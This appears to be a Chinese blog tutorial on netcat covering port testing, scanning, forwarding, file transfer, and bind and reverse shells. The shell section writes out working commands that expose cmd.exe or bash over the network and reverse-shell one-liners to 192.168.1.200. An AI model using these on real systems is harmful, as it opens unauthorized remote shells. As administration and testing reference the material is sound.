Java OpenResty Spring Spring Boot MySQL Redis MongoDB PostgreSQL Linux Android Nginx 面试 小程序 Arthas JVM AQS juc Kubernetes Docker 诊断工具


nc 端口测试、端口扫描、端口转发、文件传输、正反向 Shell

nc Linux Windows 大约 2528 字

主要功能

  • 端口监听
  • 端口测试
  • 端口扫描
  • 端口转发
  • 文件传输
  • 正向Shell
  • 反向Shell

Windows

下载地址一

该版本比较老了。

https://nmap.org/dist/ncat-portable-5.59BETA1.zip

下载地址二

360等杀毒软件可能会异常,解除即可。

https://eternallybored.org/misc/netcat

Linux

查看nc安装路径

readlink -f $(which nc)

端口监听

监听本地8080,方便其他机器测试网络。

nc -l -p 8080

监听端输出,-v是为了输出更多日志。

root@local:~# nc -v -l -p 9999
Listening on [0.0.0.0] (family 0, port 9999)
Connection from localhost 52966 received!

测试端输出

root@local:~# nc -v localhost 9999
Connection to localhost 9999 port [tcp/*] succeeded!

UDP测试

nc -u -l -p 9999

端口测试

nc -vz www.baidu.com 80

输出

root@local:~# nc -vz www.baidu.com 80
Connection to www.baidu.com 80 port [tcp/http] succeeded!

端口扫描

-w3:超时时间为3

nc -vz -w3 192.168.1.200 8080-8090

输出

root@local:~# nc -vz -w3 192.168.1.200 8080-8090
Connection to 192.168.1.200 8080 port [tcp/http-alt] succeeded!
Connection to 192.168.1.200 8081 port [tcp/tproxy] succeeded!
Connection to 192.168.1.200 8082 port [tcp/*] succeeded!
Connection to 192.168.1.200 8083 port [tcp/*] succeeded!
Connection to 192.168.1.200 8084 port [tcp/*] succeeded!
Connection to 192.168.1.200 8085 port [tcp/*] succeeded!
Connection to 192.168.1.200 8086 port [tcp/*] succeeded!
nc: connect to 192.168.1.200 port 8087 (tcp) failed: Connection refused
nc: connect to 192.168.1.200 port 8088 (tcp) failed: Connection refused
nc: connect to 192.168.1.200 port 8089 (tcp) failed: Connection refused
Connection to 192.168.1.200 8090 port [tcp/*] succeeded!

端口转发

监听本地端口9090,将9090端口的数据发送到192.168.1.200机器的8080,本地请求9090端口等同于请求192.168.1.2008080端口。

需要-c参数。

nc -l -k -p 9090 -c "nc 192.168.1.200 8080"

不需要-c参数。

cat /tmp/fifo | nc 192.168.1.200 8080 | nc -l -k 9090 > /tmp/fifo

文件传输

接收方

nc -l -p 8080 > test.txt

发送方

需要确认是否有-N-q参数,不同版本nc参数不同。

nc -N 192.168.1.200 8080 < test.txt

或者

nc -q0 192.168.1.200 8080 < test.txt

正向 Shell

Windows开启Shell监听。需要有-e参数。

ncat.exe -l -p 8080 -e "cmd.exe"

Linux登录到WindowsCMD

nc 192.168.1.200 8080

如果没有-e参数。

服务端监听

mkfifo /tmp/fifo
cat /tmp/fifo | /bin/bash -i 2>&1 | nc -l 8080 > /tmp/fifo

客户端连接

nc 192.168.2.200 8080

删除/tmp/fifo管道

rm /tmp/fifo

反向 Shell

服务端:监听8080,等待连接者的Shell窗口。客户端使用命令连接上后,会获得客户端的Shell窗口操作权限。

nc -l 8080

客户端:将LinuxShell窗口操作权限传输给服务端。

mkfifo /tmp/fifo
cat /tmp/fifo | /bin/bash -i 2>&1 | nc 192.168.1.200 8080 > /tmp/fifo

客户端:将WindowsShell窗口操作权限传输给服务端。

ncat.exe -v 192.168.1.200 8080 -e "cmd.exe"

参考

https://nmap.org/ncat

https://linux.die.net/man/1/nc

https://unix.stackexchange.com/questions/10428/simple-way-to-create-a-tunnel-from-one-local-port-to-another/101906#101906

阅读 2279 · 发布于 2022-06-23

————        END        ————

Give me a Star, Thanks:)

https://github.com/fendoudebb

扫描下方二维码关注公众号和小程序↓↓↓

扫描二维码关注我
昵称:
随便看看 换一批